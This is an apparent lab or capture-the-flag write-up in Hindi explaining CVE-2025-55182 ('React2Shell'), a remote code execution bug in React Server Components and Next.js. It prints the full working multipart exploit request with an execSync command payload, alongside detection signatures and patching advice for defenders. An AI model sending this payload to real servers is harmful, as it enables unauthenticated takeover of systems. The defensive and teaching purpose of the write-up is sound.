
React2Shell CVE-2025-55182: React सर्वर घटकों में अप्रमाणित असुरक्षित डिसीरियलाइज़ेशन, जो फ्लाइट प्रोटोकॉल के माध्यम से विश्वसनीय रिमोट कोड निष्पादन की ओर ले जाता है।
कठिनाई: मध्यवर्ती → उन्नत
श्रेणी: वेब शोषण | डीसेरियलाइजेशन | RCE

CVE-2025-55182, उपनाम React2Shell, उन कमजोरियों में से एक है जो तुरंत रक्षकों को घबरा देती है 😬। दिसंबर 2025 में खोजा गया, इसमें CVSS स्कोर 10.0 है, जो पहले ही बता देता है कि यह कोई सीमांत-केस बग नहीं है।
अपने मूल में, यह कमजोरी React Server Components (RSC) और उन पर बने फ्रेमवर्क को प्रभावित करती है — विशेष रूप से Next.js। डरावना हिस्सा?
👉 अप्रमाणित रिमोट कोड निष्पादन (RCE) 👉 एकल निर्मित HTTP अनुरोध 👉 डिफ़ॉल्ट कॉन्फ़िगरेशन असुरक्षित हैं
कोई लॉगिन नहीं। कोई विशेष अनुमति नहीं। बस एक सुनिर्मित अनुरोध।
react-server-dom-webpackreact-server-dom-parcelreact-server-dom-turbopackयह कक्ष हमें बताती है क्यों यह बग मौजूद है, कैसे इसका शोषण किया जाता है, और रक्षक इसके बारे में क्या कर सकते हैं।
झंडा: कोई उत्तर आवश्यक नहीं।
शोषण से पहले, हमें आर्किटेक्चर स्पष्टता चाहिए।
React सर्वर कंपोनेंट्स (React 19 में पेश) React ऐप के कुछ हिस्सों को सर्वर पर चलने देते हैं, ब्राउज़र पर नहीं। इसका मतलब:
क्लाइंट और सर्वर के बीच संचार React Flight प्रोटोकॉल के माध्यम से होता है। यह प्रोटोकॉल क्लाइंट पर डेटा को सीरियलाइज़ करता है और सर्वर पर डीसेरियलाइज़ करता है।
यह विशेष मार्कर का उपयोग करता है:
$@ → Chunk reference
$B → Blob reference
Property paths via colon notation Example:
$1:constructor:constructor
⚠️ और यह सीरियलाइज़ेशन तर्क ठीक वहीं है जहाँ चीजें गलत हो जाती हैं।
प्रश्न: कौन सा प्रतीक Blob संदर्भ को दर्शाता है?
✅ उत्तर: $B
CVE-2025-55182 के केंद्र में एक क्लासिक असुरक्षित डीसेरियलाइजेशन दोष है।
आइए असुरक्षित पैटर्न देखें (क्रॉप न करें 👇):
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
// ... additional logic ...
return moduleExports[metadata[2]]; // VULNERABLE LINE
}
जावास्क्रिप्ट में, ब्रैकेट नोटेशन:
obj[someKey]
केवल निर्यातित गुणों तक पहुंच को सीमित नहीं करता। यह पूरी प्रोटोटाइप श्रृंखला पर चलता है।
अब महत्वपूर्ण अंतर्दृष्टि आती है 👀:
.constructor होता हैconstructor Function कंस्ट्रक्टर की ओर इशारा करता हैFunction("code") = मनमाना JS निष्पादनक्योंकि Flight प्रोटोकॉल कोलन-पृथक पथों की अनुमति देता है, एक हमलावर भेज सकता है:
$1:constructor:constructor
जो हल होता है:
.constructor तक पहुँचें.constructor तक पहुँचें → Functionइस बिंदु पर, खेल खत्म 🎮।
झंडा: कोई उत्तर आवश्यक नहीं।
अब आइए maple3142 के PoC को चरण दर चरण समझें।
हमलावर एक नकली Chunk ऑब्जेक्ट युक्त मल्टीपार्ट अनुरोध भेजता है:
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\\"then\\":\\"$B1337\\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('xcalc');",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
यह ऑब्जेक्ट React की आंतरिक Chunk संरचना की नकल करता है।
then को Chunk.prototype.then की ओर इंगित करके, React को हमलावर-नियंत्रित तर्क की प्रतीक्षा करने के लिए धोखा दिया जाता है।
$B1337 मार्कर Blob डीसेरियलाइजेशन हैंडलर को ट्रिगर करता है, जो आंतरिक रूप से निष्पादित करता है:
response._formData.get(response._prefix + id)
लेकिन हमने जहर दिया:
_formData.get → Function_prefix → दुर्भावनापूर्ण JSपरिणामी निष्पादन:
Function("process.mainModule.require('child_process').execSync('xcalc');1337")
💥 मनमाना जावास्क्रिप्ट निष्पादन प्राप्त हुआ।
PoC निष्पादित करता है:
process.mainModule
.require('child_process')
.execSync('xcalc')
इसे आसानी से बदला जा सकता है:
झंडा: कोई उत्तर आवश्यक नहीं।
यहाँ पूर्ण शोषण अनुरोध है (शब्दशः, क्रॉप नहीं किया गया):
POST / HTTP/1.1
Host: localhost
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
(…मल्टीपार्ट बॉडी जारी…)
Next-Action हेडर सर्वर एक्शन को ट्रिगर करता हैmultipart/form-data अनिवार्य है$@0 एक स्व-संदर्भ बनाता है$B1337 Blob तर्क को ट्रिगर करता हैconstructor:constructor Function की ओर ले जाता हैयह आकस्मिक नहीं है — यह एक सटीक इंजीनियर्ड श्रृंखला है।
React: 19.0.0, 19.1.0, 19.1.1, 19.2.0
Next.js:
अन्य: React Router (RSC), Waku, Redwood SDK
📊 Wiz शोध: 39% क्लाउड वातावरण उजागर 🌐 Shodan: 571k+ React सर्वर, 444k+ Next.js
वह… बहुत है 😶
पहले Repeater में, नया HTTP अनुरोध बनाएं और Target चुनें।

Burp Suite Repeater का उपयोग करके, हम पेलोड भेजते हैं:
execSync('id')

और बाद में:
execSync('whoami')

उपयोगकर्ता: ubuntu
झंडा:
{React-19.2.0}
स्वच्छ, विश्वसनीय, दोहराने योग्य शोषण 💀
रक्षकों के लिए अच्छी खबर 👮♂️ — शोषण फिंगरप्रिंट छोड़ता है।
Next-Action हेडरmultipart/form-data"status":"resolved_model""then":"$1:__proto__:then"ये सामान्य उपयोगकर्ता ट्रैफ़िक में कभी प्रकट नहीं होने चाहिए।
alert http any any -> $LAN_NETWORK any (
msg:"Potential Next.js React2Shell / CVE-2025-66478 attempt";
flow:to_server,established;
content:"Next-Action"; http_header; nocase;
content:"multipart/form-data"; http_header; nocase;
pcre:"/Content-Disposition:\s*form-data;\s*name=\"0\"/s";
pcre:"/\"status\"\s*:\s*\"resolved_model\"/s";
pcre:"/\"then\"\s*:\s*\"\$1:__proto__:then\"/s";
classtype:web-application-attack;
sid:6655001;
rev:1;
)
{
"queries": {
"detect_rev2shell_react_server_components": {
"query": "SELECT name, version, path FROM npm_packages WHERE ...",
"interval": 3600
}
}
}
इसके लिए उपयुक्त:

React2Shell इसका एक पाठ्यपुस्तक उदाहरण है:
एक बार पैच किए गए संस्करण स्थापित हो जाते हैं और npm audit अनुशंसाओं का पालन किया जाता है, शोषण पूरी तरह मर जाता है ✅.
⚠️ अधिकृत प्रयोगशालाओं के बाहर इसका परीक्षण कभी न करें।
🔥 हमेशा तेज़ी से पैच करें।
🧠 हमेशा समझें क्यों एक बग मौजूद है — न कि केवल कैसे इसका शोषण करें।
यदि आपको यह लेख पसंद आया या आप साइबर सुरक्षा, CTFs, और VAPT में मेरे काम से जुड़े रहना चाहते हैं:
🔗 GitHub: https://github.com/AdityaBhatt3010
💼 LinkedIn: https://www.linkedin.com/in/adityabhatt3010/
✍️ Medium: https://medium.com/@adityabhatt3010
हैप्पी हैकिंग — जिम्मेदारी से 🗿🚀